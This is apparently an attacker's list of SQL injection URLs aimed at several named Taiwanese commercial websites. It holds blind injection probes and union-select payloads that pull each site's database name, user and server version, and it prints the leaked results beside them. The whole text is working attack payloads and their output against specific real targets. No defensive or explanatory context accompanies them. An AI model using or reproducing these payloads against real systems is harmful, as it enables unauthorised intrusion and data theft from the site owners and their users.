blind

http://www.abocom.com.tw/news_show.php?id=1&pid=40+and+substring(version(), 1,1)=3/*

http://www.chico.com.tw/chicoen/about/index.php?id=1+and+substring(version(),1,1)=3/*


#$######################################
PR: 4

http://www.kidstoryhouse.com.tw/news_view.php?id=-1+union+select+1,2,concat_ws(0x3a,database(),user( ),version()),4,5,6,7,8,9--

kidstory_db:kidstory_root@localhost:4.1.22-standard-log

########################################

http://www.jmag.com.tw/Goods_H.php?Id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,concat_ws(0x3a,database(),user(),version()),34/*

magdata:jmagcomt@localhost:4.1.22-log